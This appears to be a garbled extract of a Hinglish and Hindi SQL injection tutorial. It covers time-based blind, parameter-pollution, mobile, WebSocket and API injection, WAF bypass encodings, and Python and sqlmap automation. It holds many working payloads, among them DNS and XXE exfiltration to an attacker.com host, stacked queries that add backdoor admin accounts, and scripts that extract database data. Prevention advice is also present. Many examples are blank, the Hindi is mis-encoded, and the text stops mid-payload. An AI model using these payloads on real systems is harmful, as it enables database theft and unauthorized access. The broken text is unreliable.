1' OR CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --+
Result: Agar page 5 second tak load hota hai, toh SQLi vulnerability confirm ho jati hai.
Agar SLEEP() function block ho, toh complex queries execute karke delay create kiya ja
sakta hai.
Result:
BENCHMARK() function CPU-heavy computations execute karta hai, jo query processing slow kar
deta hai.
✅ Example:
Result:
Agar application me sorting query vulnerable hai, toh random sorting ka use karke time delay
create kiya ja sakta hai.
✅ Example:
✅ Alternative (PostgreSQL)
1' ORDER BY random() --+
Result:
• RAND() ya random() ka use karke database ka sorting process slow ho jata hai.
• Agar query execution slow ho jaye, toh SQLi vulnerability confirm ho jati hai.
Agar SLEEP() blocked ho, toh subqueries execute karke time delay force kiya ja sakta hai.
Result:
Result:
Agar application me string processing allowed ho, toh REPEAT() ya REPLICATE() ka use karke
delay create kar sakte hain.
Result:
• REPEAT() ya REPLICATE() ek bari string generate karta hai, jo query execution slow kar
deta hai.
Agar manual testing slow ho, toh SQLmap ka use karke automatic time delay-based SQLi detect
kar sakte hain.
Result:
• Agar page load hone me delay ho raha hai, toh SQLi vulnerability confirm hoti hai.
• SQLmap automatically alternative methods (BENCHMARK(), ORDER BY RAND(), Heavy
Queries) detect karega.
✅ Agar SLEEP() block ho, toh bhi alternative techniques se SQLi detect kar sakte hain.
✅ Heavy query execution, sorting, large string processing, aur BENCHMARK() function
ka use karke time delay force kiya ja sakta hai.
✅ SQLmap ka use karke automated time-based SQLi detection possible hai.
✅ Security measures implement karke time-based SQL Injection attacks prevent kiya ja
sakta hai.
HTTP Parameter Pollution (HPP) ek attack technique hai jisme ek hi HTTP request me
multiple parameters inject kiye jate hain, jo backend processing ko confuse kar sakte hain.
Agar application SQL Injection vulnerable hai, toh HPP aur SQLi ko combine karke firewall
bypass aur complex attacks perform kiye ja sakte hain.
Agar koi website vulnerable hai aur SQLi allow karti hai:
✅ Example Request:
Result: Agar q parameter SQLi vulnerable hai, toh sabhi records return ho jayenge.
🔹 B. HPP-Based SQL Injection Example
Agar application multiple duplicate parameters ko handle nahi karti, toh HPP ka use karke
WAF bypass kiya ja sakta hai.
✅ Example:
Result:
• Agar backend pehla parameter ignore karke doosre ko process karta hai, toh SQLi
execute ho sakti hai.
• Kuch WAF rules sirf pehla parameter check karte hain, jo HPP aur SQLi ko ek powerful
bypass technique banata hai.
Result: Agar application admin' --+ ko valid user maan leti hai, toh authentication bypass
ho sakta hai.
Result:
• Agar backend do alag-alag username parameters handle kar raha hai, toh doosra
parameter SQLi execute kar sakta hai.
• WAF sirf pehle parameter ko filter karega, doosre ko nahi!
🔹 B. SQL Injection with HPP in GET Requests
Kuch websites duplicate parameters handle nahi karti, jo HPP aur SQLi ke combination ko
exploit hone deti hai.
Result:
• Agar application sirf last id parameter process kare, toh SQLi execute ho sakti hai.
• WAF sirf pehla id parameter filter karega, jo bypass hone dega.
Agar API JSON data accept karti hai, toh HPP ka use karke SQLi inject kiya ja sakta hai.
{
"username": "admin",
"username": "admin' --+",
"password": "test123"
}
Result:
• Agar backend sirf last username process kare, toh SQLi execute ho sakti hai.
• Security filters sirf pehla username check karenge, jo bypass hone dega.
Agar manual testing slow ho, toh SQLmap aur custom scripts ka use karke automated HPP-
based SQLi test kiya ja sakta hai.
✅ SQLmap Command:
sqlmap -u "http://target.com/api/login" --
data="username=admin&username=admin'--+&password=12345" --batch
Result:
• Agar application HPP-based duplicate parameters handle nahi karti, toh SQLi execute
ho sakti hai.
🔹 Conclusion
Mobile applications (Android & iOS) bhi SQL Injection ke against vulnerable ho sakti hain
agar:
✅ User input ka proper validation na ho
✅ Insecure SQLite queries use ki ja rahi ho
✅ Web APIs (Backends) SQLi vulnerable ho
✅ Local database (SQLite) encryption na ho
Mobile apps me SQLi direct aur indirect dono tarike se exploit ho sakti hai. Aaj hum dono
methods ko explore karenge aur dekhenge ki kis tarah se mobile applications vulnerable ho
sakti hain.
Mobile apps SQLite database use karti hain, jo agar unsafe queries execute karti hain, toh
SQLi vulnerable ho sakti hain.
String query = "SELECT * FROM users WHERE username = '" + user_input + "' AND
password = '" + pass_input + "'";
db.rawQuery(query, null);
Problem:
• User input direct SQL query me concatenate ho raha hai, jo SQL Injection allow karta
hai.
• Agar koi malicious input pass kare, toh SQL queries modify ho sakti hain.
✅ Example Exploit:
' OR '1'='1
Result:
• Agar password check vulnerable ho, toh bina password ke login ho jayega.
Agar ek Android app SQLite vulnerable ho, toh hum SQL Injection test kar sakte hain:
adb shell
sqlite3 /data/data/com.vulnerable.app/databases/users.db
Result:
Mobile apps mostly backend APIs ke sath communicate karti hain, jisme SQL Injection hone
ka chance hota hai.
{
"username": "admin",
"password": "password123"
}
Problem:
• Agar backend parameterized queries na use kare, toh SQL Injection ho sakti hai.
{
"username": "admin' OR '1'='1",
"password": "test"
}
Result:
• Agar API SQL Injection vulnerable ho, toh bina credentials ke login ho sakta hai.
sqlmap -u "http://vulnerableapp.com/api/login" --
data="{\"username\":\"admin\",\"password\":\"password\"}" --dbs --batch
Result:
MobSF (Mobile Security Framework) ek powerful tool hai jo SQL Injection vulnerabilities
detect karne ke liye use hota hai.
String query = "SELECT * FROM users WHERE username = '" + user_input + "'";
db.rawQuery(query, null);
🔹 Conclusion
✅ Mobile apps me SQL Injection kaafi common vulnerability hai, specially SQLite aur
backend APIs me.
✅ Agar mobile apps user input ko directly SQL queries me concatenate karti hain, toh
SQLi ka risk hota hai.
✅ API vulnerabilities exploit karke remote SQL Injection bhi possible hai.
✅ MobSF aur SQLmap ka use karke automated SQLi testing ki ja sakti hai.
✅ Secure coding practices adopt karke mobile apps ko SQLi se bachaya ja sakta hai.
WebSockets ek real-time communication protocol hai jo client aur server ke beech persistent
connection maintain karta hai. Agar server-side WebSocket implementation insecure ho, toh
SQL Injection ka risk hota hai.
Example Use Cases:
Agar WebSocket requests properly validate nahi hoti, toh attackers SQL Injection execute kar
sakte hain.
WebSockets HTTP jaisa kaam nahi karta, isme ws:// ya wss:// protocol use hota hai.
wss.on("connection", ws => {
ws.on("message", message => {
let query = `SELECT * FROM users WHERE username = '${message}'`;
connection.query(query, (error, results) => {
if (error) throw error;
ws.send(JSON.stringify(results));
});
});
});
Problem:
• User input (message) SQL query me directly concatenate ho raha hai, jo SQL Injection
allow karta hai.
' OR '1'='1
'; DROP TABLE users; --
Result:
{
"username": "' OR '1'='1"
}
✅ Step 1: WebSocket request ka traffic capture karo (Burp Suite se save karo)
✅ Step 2: SQLmap se exploit karo
Result:
• Agar WebSockets SQLi vulnerable hai, toh SQLmap databases list kar dega.
• Exploitation possible hai error-based, time-based, aur boolean-based blind SQL
Injection ke saath.
🔹 4. How to Prevent SQL Injection in WebSockets?
🔹 Conclusion
✅ WebSockets agar secure na ho, toh SQL Injection ka major risk hota hai.
✅ Agar user input WebSockets me directly SQL queries me inject ho, toh attacker
database manipulate kar sakta hai.
✅ Manual aur automated (SQLmap) testing karke WebSocket SQLi vulnerabilities find
ki ja sakti hain.
✅ Secure coding practices aur input validation se SQLi ko prevent kiya ja sakta hai.
Kayi web applications aur firewalls input length restrict kar deti hain (e.g., 10-20 characters
tak hi input allow hota hai). Agar attacker full SQL injection payload nahi dal sakta, toh woh
length bypass techniques use karke attack perform kar sakta hai.
Example Use Cases:
Error: Input field sirf 10 characters tak hi accept kar raha hai!
' OR 1=1 --
Agar server sirf pehle 10 characters padhta hai, toh query incomplete ho sakti hai.
✅ Normal Query:
✅ Shortened Query:
Agar application partial SQL keywords accept karti hai, toh shortened version se SQLi
execute ho sakta hai.
2⃣ Using Inline Comments for Truncation
Inline comments (/**/) ka use karke payload ka size kam kiya ja sakta hai.
' OR '1'='1' --
'/**/OR/**/'1'/**/LIKE/**/'1
Benefit:
Agar single quotes ya double quotes block ho rahi hain, toh CHAR() function ka use karke
SQLi inject kiya ja sakta hai.
' OR '1'='1'
OR CHAR(49)=CHAR(49)
Benefit:
Agar long payload block ho rahi ho, toh Boolean condition use karke SQLi execute ki ja sakti
hai.
✅ Normal Query (Blocked Due to Length):
' OR 1=1 #
Benefit:
Hex encoding se query short ki ja sakti hai aur WAF bypass ho sakta hai.
✅ Normal Query:
Benefit:
' OR 1 #
Result:
Result:
SQL Injection sirf syntax-based vulnerability nahi hai, balki logical flaws ke through bhi attack
possible hota hai. Logical flaws ka matlab hai ki SQL queries aisi likhi gayi hain jo
unintended behavior cause karti hain, jise attacker exploit kar sakta hai.
Aaj hum dekhenge kaise logical flaws SQL Injection ke liye dangerous ho sakti hain.
Agar authentication system incorrect logic use karta hai, toh SQL Injection se login bypass ho
sakta hai.
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND
password='$password'";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
echo "Login Successful!";
} else {
echo "Invalid Credentials!";
}
Problem:
✅ Attack Payload:
admin' --
Result:
Agar RBAC system proper checks nahi lagata, toh SQL Injection ke through admin
privileges gain kiye ja sakte hain.
✅ Attack Payload:
Result:
Agar business logic me vulnerabilities hain, toh attacker unintended behavior trigger kar
sakta hai.
✅ Attack Payload:
' OR 1=1 --
Result:
Agar password validation SQL queries par depend karti hai, toh attacker SQL Injection se
bypass kar sakta hai.
✅ Vulnerable Code:
✅ Attack Payload:
' OR '1'='1
Result:
• Login forms
• Role-based access control endpoints
• Business logic queries (discounts, cart manipulation)
' OR '1'='1
' UNION SELECT 'admin' --
Result:
✅ Use Strong Hashing for Password Validation (Never Query Passwords Directly)
🔹 Conclusion
✅ Logical flaws sirf syntax-based vulnerabilities nahi hoti, ye entire application logic
compromise kar sakti hain.
✅ Incorrect authentication aur business logic flaws se SQL Injection aur privilege
escalation ho sakti hai.
✅ Proper security measures jaise prepared statements aur access control implementation
se ye vulnerabilities prevent ki ja sakti hain.
SQL Injection ka ek advanced exploitation technique hai data exfiltration via DNS aur
HTTP requests. Jab firewall direct database output ko block kar rahi ho ya blind SQL Injection
ho, tab attacker data ko external server par leak kar sakta hai using:
Real-World Usage:
Concept: Attacker database ka data DNS request ke through exfiltrate karta hai.
✅ Exfiltration Mechanism:
✅ Attack Execution:
Result:
Real-Life Example:
• Burp Collaborator
• DNSBin
• Interactsh (ProjectDiscovery)
🔹 2. HTTP Exfiltration via SQL Injection
Concept: Agar server external HTTP requests allow karta hai, toh attacker HTTP requests
ke through database ka sensitive data apne server pe leak kar sakta hai.
Result:
Real-Life Example:
• RequestBin
• Webhook.site
• Burp Suite Collaborator
Agar WAF ya firewall full data dump block karti hai, toh data ko byte by byte leak kar
sakte hain.
✅ Payload (MySQL)
SELECT IF(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)='a',
LOAD_FILE('\\\\a.attacker.com\\x'), LOAD_FILE('\\\\b.attacker.com\\x'));
Result:
• Agar password ka first character ‘a’ hai, toh a.attacker.com pe request jayegi
• Agar ‘b’ hai, toh b.attacker.com pe request jayegi
Step-by-Step Attack:
Agar database aur web application XML parse karti hai, toh SQLi aur XXE ka combo
attack possible hai.
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/logger.php?data="||(SELECT
password FROM users LIMIT 1)>
]>
<foo>&xxe;</foo>
Result:
• XML payload execute hote hi database password attacker ke server par chala jayega
• Cloudflare WAF ya ModSecurity rules apply karo jo outbound DNS & HTTP exfiltration
detect kar sake.
• SIEM tools use karo (Splunk, Graylog) jo suspicious outbound requests detect kare.
🔹 Conclusion
✅ DNS aur HTTP exfiltration ek advanced SQL Injection technique hai jo restricted
environments me bhi data leak kar sakti hai.
✅ Attacker SQL queries ka use karke database se sensitive data ko apne server pe leak
kar sakta hai using external DNS aur HTTP requests.
✅ Proper security measures (WAF, DNS monitoring, outbound traffic restrictions) se isko
prevent kiya ja sakta hai.
SQL Injection aur Cross-Site Scripting (XSS) dono hi dangerous web vulnerabilities hain.
Agar SQLi aur Stored XSS ek saath execute ho jayein, toh attacker database aur frontend
dono pe full control le sakta hai.
Real-World Usage:
• Admin Panel ka Control Lena (Stored XSS via SQLi)
• Session Hijacking aur Account Takeover
• Defacement aur Phishing Attacks
Agar ek web application user inputs ko SQL Injection se sanitize nahi karti, toh attacker
malicious JavaScript inject kar sakta hai, jo database me store ho jata hai. Jab bhi koi user
page visit karega, toh JavaScript execute ho jayegi.
✅ Scenario:
1. Attacker SQL Injection ka use karke database me JavaScript insert karta hai
2. Jab bhi koi victim webpage visit karega, script execute ho jayegi
3. Session hijack, cookie theft, keylogging ya phishing ho sakta hai
Example:
Agar ek forum ya comment system SQL Injection vulnerable hai, toh attacker XSS payload
ko SQLi ke through insert kar sakta hai.
• Yeh query directly user input ko database me insert kar rahi hai
• Koi sanitization nahi ho rahi, is wajah se SQL Injection aur XSS possible hai
Result:
Attacker users ki cookies ko steal kar sakta hai aur session hijack kar sakta hai.
✅ Payload:
Result:
• User jese hi page visit karega, unki cookies attacker ke server pe chali jayengi
• Attacker victim ka session hijack kar lega!
✅ Payload:
Result:
Attacker fake login form inject karke credentials steal kar sakta hai.
✅ Payload:
• Victim jese hi page visit karega, wo fake login page pe redirect ho jayega
• Phishing attack se credentials chori ho sakte hain
• Cloudflare ya ModSecurity jaise WAF tools malicious SQLi aur XSS payloads detect aur
block kar sakte hain.
🔹 Conclusion
Error-based SQLi tab kaam karti hai jab application error messages show karti hai.
Payload:
1' OR 1=1 --
✅ Attacker ko error messages mil sakti hain jo database structure ko reveal karti hain.
Agar error messages block ho rahi hain, toh hum time delays se verify kar sakte hain ki SQLi
exist karti hai ya nahi.
Payload:
✅ Agar response delay hota hai, toh SQL Injection exist karti hai.
✅ 1.3 UNION-Based SQL Injection (MySQL)
Agar UNION SELECT enabled hai, toh hum database ke tables aur columns nikal sakte
hain.
1' ORDER BY 3 --
✅ Agar error aaye toh columns kam ya zyada hain, warna query execute ho jayegi.
Payload:
1' WAITFOR DELAY '00:00:05' --
✅ Agar response delay ho raha hai, toh SQLi exist karti hai.
Payload:
🔹 Conclusion
✅ Har database ka alag syntax aur functions hote hain
✅ MySQL, MSSQL, PostgreSQL, aur Oracle ke liye different SQLi techniques use hoti
hain
✅ Agar database identify ho jaye, toh exploitation easy ho jati hai
{
"username": "admin",
"password": "password123"
}
Agar backend directly SQL query execute kar raha hai, toh SQL Injection execute ho sakti
hai:
{
"username": "admin' -- ",
"password": "anything"
}
Query Execution:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
{
"username": "' UNION SELECT database(), NULL, NULL -- ",
"password": "password123"
}
✅ Query Execution:
SELECT * FROM users WHERE username = '' UNION SELECT database(), NULL, NULL -
- ' AND password = 'password123'
Agar input validate nahi ho raha, toh attacker malicious SQL payload insert kar sakta hai:
<login>
<username>admin' -- </username>
<password>anything</password>
</login>
✅ Query Execution:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
{
"username": "admin' OR IF(1=1, SLEEP(5), 0) -- ",
"password": "anything"
}
<login>
<username>admin' OR pg_sleep(5) --</username>
<password>password</password>
</login>
Agar server response 5 seconds delay hota hai, toh attack successful hai!
🔹 5. Preventing SQL Injection in JSON & XML APIs
✅ Use Parameterized Queries
🔹 Conclusion
✅ JSON aur XML APIs me SQL Injection possible hai agar input validation na ho
✅ REST API authentication bypass aur database extraction possible ho sakta hai
✅ Proper sanitization aur WAF se isko prevent kiya ja sakta hai
Is function me SQL Injection possible hai kyunki user input directly SQL query me
insert ho raha hai!
✅ Malicious Request:
{
"username": "' OR '1'='1"
}
✅ Query Execution:
✅ Malicious Payload:
{
"username": {"$gt": ""}
}
Attacker MongoDB-like query operators ka use karke injection exploit kar sakta hai!
import psycopg2
def vulnerable_function(request):
username = request.args.get("username")
conn = psycopg2.connect("dbname=mydb user=myuser password=mypassword")
cur = conn.cursor()
cur.execute(f"SELECT * FROM users WHERE username = '{username}'")
return cur.fetchall()
✅ Malicious Input:
' OR '1'='1
🔹 Conclusion
✅ Serverless applications bhi SQL Injection ke liye vulnerable ho sakti hain
✅ AWS Lambda, Google Cloud Functions, Firebase me bhi SQL Injection ka risk hota
hai
✅ Proper input validation, parameterized queries aur WAF ka use karke isse prevent
kiya ja sakta hai
✅ SQL queries ko tokenize karke feature vector generate kiya jata hai
Example:
• Logistic Regression
• Random Forest
• Support Vector Machines (SVM)
• Deep Learning (LSTM, CNN for sequence-based detection)
Example:
Trained model SQL Injection queries detect karne ke liye use hota hai!
• Cloudflare WAF
• Imperva WAF
• AWS WAF with AI
• ModSecurity with AI-based ML models
✅ AI WAF ka kaam:
Example: Microsoft Azure Sentinel AI-based threat detection use karta hai jo SQLi
attempts ko monitor aur block karta hai.
# AI Model for SQL Injection Detection
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.ensemble import RandomForestClassifier
from sklearn.pipeline import Pipeline
pipeline = Pipeline([
('vectorizer', TfidfVectorizer()),
('classifier', RandomForestClassifier())
])
pipeline.fit(training_queries, training_labels)
1. False Positives - Kabhi kabhi safe queries bhi block ho sakti hain.
2. Evasion Techniques - Attackers AI bypass karne ke naye methods dhundh sakte hain.
3. Training Data Quality - Agar dataset biased hai toh model properly detect nahi karega.
✅ Solution:
🔹 Conclusion
✅ AI aur Machine Learning SQL Injection detection aur prevention me bohot useful hain
✅ AI-based WAF aur IDS real-time SQL Injection attacks ko block kar sakte hain
✅ Continuous model training aur monitoring zaroori hai taake false positives aur evasion
techniques ko minimize kiya ja sake
24. SQL Injection in Legacy Systems
Legacy systems (पुराने software या outdated database applications) में SQL Injection एक बडा
खतरा होता है। ये systems अक्सर पुराने codebase पर चलते हैं और उनमें modern security practices
implement नह ीं होत ीं, जिससे SQL Injection attacks के जलए वे ज्यादा vulnerable होते हैं।
1. Hardcoded Queries - पुराने codebase में dynamic user inputs को validate नह ीं जकया िाता।
2. Lack of Parameterized Queries - Legacy systems में prepared statements का उपयोग
नह ीं जकया िाता।
3. Unsupported Database Versions - पुराने databases security updates नह ीं लेते, जिससे वे
पुराने exploits के जलए vulnerable रहते हैं।
4. Weak Authentication Mechanisms - पुरान authentication methods आसान से bypass क
िा सकत हैं।
5. Direct Database Calls - Application स धे database queries execute करत हैं , जिससे SQL
Injection आसान हो िाता है।
username = Request.QueryString("username")
password = Request.QueryString("password")
query = "SELECT * FROM users WHERE username = '" & username & "' AND password
= '" & password & "'"
Set rs = conn.Execute(query)
Attack Payload:
username=admin'--
password=anything
Execution:
$user = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '$user'";
$result = mysqli_query($conn, $query);
Attack Payload:
' OR 1=1 --
Execution:
✅ Result: Attacker database users और उनके hashed passwords चुरा सकता है।
🔹 Conclusion
✅ Legacy systems में SQL Injection का खतरा अधिक होता है क्ोींधक वे outdated security
practices पर चलते हैं।
✅ Hardcoded queries, outdated databases और weak authentication attackers को आसान
SQLi exploitation का मौका दे त है।
✅ Security hardening, WAF, parameterized queries और database upgrades के जररए इन
vulnerabilities को fix धकया जा सकता है।
25. Automation & Custom Tool Development for SQL
Injection
SQL Injection exploitation को तेि और अजधक प्रभाव बनाने के जलए automation का उपयोग जकया
िाता है। Security researchers, ethical hackers, और attackers अपने खुद के custom tools और
scripts develop करते हैं , जिससे SQL Injection vulnerabilities को आसान से detect और exploit
जकया िा सके।
✅ Automation से फायदा:
Havij एक Windows-based automated SQL Injection tool है , जिसका use penetration testers
और attackers दोनोीं करते हैं।
✅ Features:
Note: Havij का misuse होने क सींभावना ज्यादा होत है , इसजलए ethical hacking के जलए
SQLmap ज्यादा recommended है।
✅ Features:
Usage:
# Target URL
url = "http://target.com/page.php?id="
test_sqli()
Ye script SQL Injection vulnerabilities detect karne ke liye simple automation provide
karti hai!
अगर हमें database extract करना हो, तो हम न चे द गई script बना सकते हैं।
# Target URL
url = "http://target.com/page.php?id=1'"
# Sending request
response = requests.get(url + payload)
if match:
print(f"[+] Database Name Extracted: {match.group(0)}")
else:
print("[-] Exploitation Failed!")
Ye script SQL Injection ka use karke database name extract karne ka automated
तर का दे त है !
WAF (Web Application Firewall) SQLi payloads को block कर सकता है , लेजकन हम custom
encoding, obfuscation और tampering techniques का उपयोग करके इसे bypass कर सकते हैं।
1. URL Encoding:
2. %27%20OR%201%3D1--
3. Case Alternation:
4. SeLeCt * FrOm users
5. Hex Encoding:
6. 0x73656c656374202a2066726f6d207573657273
7. Comment Injection:
8. ' OR 1=1 --+
payloads = ["' OR 1=1 --", "' OR 1=1#", "' OR 1=1/*", "' OR 'a'='a'",
"admin'--"]
encoded_payloads = [requests.utils.quote(p) for p in payloads]
✅ SQL Injection automation ethical hacking aur penetration testing में बहुत useful है।
✅ SQLmap, Havij, jSQL जैसे tools SQLi exploitation को आसान बनाते हैं।
✅ Custom Python scripts बनाकर हम automated SQL Injection detection aur exploitation
कर सकते हैं।
✅ WAF bypass techniques का use करके हम modern firewalls ko भ bypass कर सकते हैं।
• SQL Injection तब होता है जब user input को sanitize नह ां ककया जाता और SQL queries में
directly inject कर दिया जाता है।
• सबस़े common SQL Injection attacks:
o Error-Based SQL Injection
o Union-Based SQL Injection
o Boolean-Based Blind SQL Injection
o Time-Based Blind SQL Injection
o Out-of-Band (OOB) SQL Injection
• Second-Order SQL Injection: जब input store हो जाता है और बाि में execute होता है ।
• WAF Bypass Techniques: SQL Injection payloads को encode करना (Hex, URL Encoding,
Case Alternation)
• NoSQL Injection: MongoDB जैस़े NoSQL databases में injection attacks
• GraphQL SQL Injection: Modern APIs में SQLi vulnerabilities
• DNS & HTTP Exfiltration via SQL Injection: जब attacker database स़े data ननकालऩे क़े ललए
external servers को use करता है ।
• Automation & Custom Tools: SQL Injection exploitation को त़ेज और आसान बनाऩे क़े ललए
automation tools जैस़े SQLmap, Havij, jSQL, custom Python scripts
credentials ल क हुए।
3. NASA SQL Injection Vulnerability (2018)
o एक security researcher ऩे NASA की एक website में SQL Injection vulnerability ढां ढ ,
🔹 3. SQL Injection स़े बचाव कैस़े करें ? (Prevention & Security Measures)
✅ 1. Input Validation & Filtering
import mysql.connector
db = mysql.connector.connect(host="localhost", user="root", password="",
database="testdb")
cursor = db.cursor()
• ModSecurity, Cloudflare WAF, Imperva जैस़े firewalls SQL Injection payloads को block
कर सकत़े हैं।
✅ 4. Least Privilege Principle लागू करें
• SQLmap, Burp Suite, Nikto, Acunetix जैस़े tools SQLi vulnerabilities detect कर सकत़े हैं।
• Regular penetration testing स़े vulnerabilities को पहल़े स़े fix ककया जा सकता है ।
SQL Injection vulnerabilities ethical hacking और bug bounty programs में बहुत valuable होत
हैं।
✅ Bug Bounty Platforms जहाीं आप SQL Injection vulnerabilities report कर सकते हैं :
• HackerOne
• Bugcrowd
• Open Bug Bounty
• Intigriti
अगर आपको धकस website या organization में SQLi vulnerability धमलत है , तो उसे
ethical तर के से report करें ।
• MITM Attacks
• Wi-Fi Hacking
• Privilege Escalation
🔹 Conclusion: SQL Injection – A Hacker’s Weapon & A Developer’s
Nightmare
Ab hum Expert-Level SQL Injection topics ek ek karke cover karenge. Sabse pehle Stacked
Queries (Multiple Statements Execution) se shuru karte hain.
Agar koi website user login ke liye query execute kar rahi hai:
Agar yeh query stacked queries allow karti hai, toh attacker ek additional SQL command bhi
execute kar sakta hai:
MySQL me stacked queries by default blocked hoti hain, lekin agar multi_query() function
ka use karein, toh multiple queries execute ho sakti hain.
# Database connection
db = mysql.connector.connect(host="localhost", user="root", password="",
database="testdb")
cursor = db.cursor()
# Output results
for result in cursor:
print(result)
➡ Result: users table delete ho jayega agar MySQL stacked queries allow kar raha hoga.
🔹 Real-World Use Cases of Stacked Queries in Exploitation
1. Privilege Escalation
o admin'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%'; --
oIsse attacker ek new admin user create kar sakta hai.
2. Backdoor Injection
o admin'; INSERT INTO users (username, password, role) VALUES
('hacker', 'password123', 'admin'); --
oAttacker database me ek naya admin account create kar sakta hai.
3. Data Exfiltration
o admin'; SELECT password FROM users INTO OUTFILE
'/var/www/html/leaked.txt'; --
o Yeh command database ke sensitive data ko server ke kisi file me dump kar degi.
Time-Based Blind SQL Injection ek aisi technique hai jisme attacker database ka response
analyze karke data extract karta hai, bina kisi error message ya visible output ke.
Normally SLEEP() function use hota hai, jisme attacker server ko certain time tak delay
karne ke liye force karta hai, lekin agar SLEEP() function blocked ho, toh alternative methods
ka use kiya jata hai.
🔹 Normal Time-Based SQL Injection (SLEEP() Use Karke)
Agar application me SQL Injection vulnerable hai, toh hum SLEEP() ka use karke delay
introduce kar sakte hain:
SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0);
➡ Agar database 5 seconds tak delay kare, toh iska matlab hai query execute ho gayi aur
application vulnerable hai.
Kahi baar security filters SLEEP() function ko block kar dete hain. Aise cases me hum time
delay introduce karne ke liye dusre techniques use karte hain, jaise:
Attacker aisi query inject karta hai jo bahut slow execution leti hai, jisme database me
artificial delay create ho jaye.
Example:
➡ Ye query multiple table joins create karke processing time increase kar deti hai.
Agar SLEEP() blocked hai, toh hum database ko large file read/write karne force kar sakte
hain, jisse delay create hoga:
➡ Agar server delay karta hai, toh iska matlab vulnerability present hai.
✅ 3. Expensive String Operations
Agar SLEEP() unavailable ho, toh hum BENCHMARK() function ka use kar sakte hain:
➡ BENCHMARK() function database ko 10 million times MD5 hash calculate karne ke liye
force karega, jo artificial delay create karega.
➡ Isme database ko ek large file read karne force kiya jata hai.
Agar SLEEP() block ho, toh hum alternative time delay techniques ka use karke SQL
Injection detect kar sakte hain:
import time
import requests
url = "http://example.com/login.php"
payloads = [
"' AND IF(1=1, BENCHMARK(10000000,MD5('test')), 'no')--",
"' AND (SELECT COUNT(*) FROM information_schema.tables,
information_schema.tables AS t2, information_schema.tables AS t3)--"
]
➡ Agar response time increase ho, toh iska matlab vulnerability present hai.
🔹 Real-World Impact & Prevention
🚨 Real-World Example
🛡️ Prevention Techniques
HTTP Parameter Pollution (HPP) ek web vulnerability attack hai jisme multiple same-name
parameters inject karke unexpected behavior trigger kiya jata hai.
Agar SQL Injection ke saath HPP ka use kiya jaye, toh WAF (Web Application Firewall)
bypass, extra queries inject, aur better exploitation ho sakti hai.
http://example.com/login.php?user=admin&password=1234
Agar hum HPP technique use karke ek hi parameter multiple values ke saath pass karein,
jaise:
http://example.com/login.php?user=admin&user=' OR '1'='1
Toh server pe query kuch is tarah interpret ho sakti hai:
➡ Effect: Attacker bina password enter kiye authentication bypass kar sakta hai!
Agar ek API ya form multiple GET parameters accept karti hai, toh attacker duplicate values
inject karke query manipulate kar sakta hai.
Example:
http://example.com/profile?id=5&id=6 OR 1=1
➡ Effect: 1=1 condition true hone se saare users expose ho sakte hain.
Agar website POST request pe multiple parameters handle karti hai, toh HPP SQL Injection
exploit kiya ja sakta hai.
user=admin&user=' OR '1'='1&password=pass
➡ Effect: SQL Query manipulate ho sakti hai, aur attacker login bypass kar sakta hai.
🔹 Real-World Exploitation: SQL Injection via HPP
Case Study: 2019 me ek financial application me HPP + SQL Injection vulnerability mili thi.
Example:
http://bank.com/transfer?account=1234&account=5678' OR '1'='1
SELECT * FROM transactions WHERE account = '1234' OR '1'='1';
url = "http://example.com/login.php"
params = {
"user": ["admin", "' OR '1'='1"],
"password": "password"
}
➡ Agar response me admin login ho jaye, toh vulnerability confirm ho sakti hai!
🔹 Prevention Techniques
Mobile applications (Android & iOS) backend APIs aur local databases (SQLite, Firebase,
etc.) ka use karti hain.
Agar proper input validation nahi kiya jaye, toh SQL Injection ka exploitation possible
hota hai mobile apps me bhi.
Attack Surface:
✅ Android/iOS apps jo local SQLite database use karti hain
✅ APIs jo user input SQL queries me directly embed karti hain
✅ Apps jo WebViews ya Dynamic SQL execution allow karti hain
Android apps aksar SQLite database use karti hain user data store karne ke liye.
Agar queries ko sanitize nahi kiya gaya, toh SQL Injection attack possible hai.
➡ Problem: Attacker malicious input inject karke SQLi execute kar sakta hai.
Exploit:
Query Execution:
Agar mobile app backend APIs se data fetch karti hai, aur SQL queries directly execute hoti
hain, toh SQL Injection ka chance hota hai.
{
"user": "admin' OR '1'='1"
}
➡ Effect: Attacker bina authentication ke kisi bhi user ka access le sakta hai.
Agar ek mobile app WebView use karti hai aur directly SQL queries execute hoti hain:
➡ Attacker injected SQL query send karke database manipulate kar sakta hai.
Agar Android app SQLite use karti hai, toh attacker apk decompile karke SQL Injection ka
vector find kar sakta hai.
adb shell
sqlite3 /data/data/com.example.app/databases/users.db
sqlite> SELECT * FROM users WHERE username = 'admin' OR '1'='1';
🔹 Prevention Techniques
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
Cursor cursor = db.rawQuery(query, new String[]{username, password});
WebSockets ek real-time communication protocol hai jo client aur server ke beech persistent
connection maintain karta hai.
Agar WebSockets me user input directly SQL queries me inject ho raha hai, toh SQL
Injection ka risk hota hai.
Attack Surface:
✅ Web applications jo WebSockets use karti hain
✅ Chat applications, live data feeds, trading platforms
✅ Poorly validated SQL queries jo WebSocket messages process karti hain
Agar WebSocket server SQL queries dynamically execute karta hai bina sanitization ke:
ws.onopen = function() {
ws.send(JSON.stringify({ action: "getUser", user: "admin" }));
};
ws.onmessage = function(event) {
console.log("Received:", event.data);
};
@app.websocket("/socket")
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
data = await websocket.receive_json()
await websocket.send_json(result.fetchall())
➡ Problem: Attacker SQL Injection payloads WebSocket messages me inject kar sakta hai.
Agar application WebSockets use karti hai, toh attacker Burp Suite ya Developer Console se
malicious payloads inject kar sakta hai.
Payload Injection:
{
"action": "getUser",
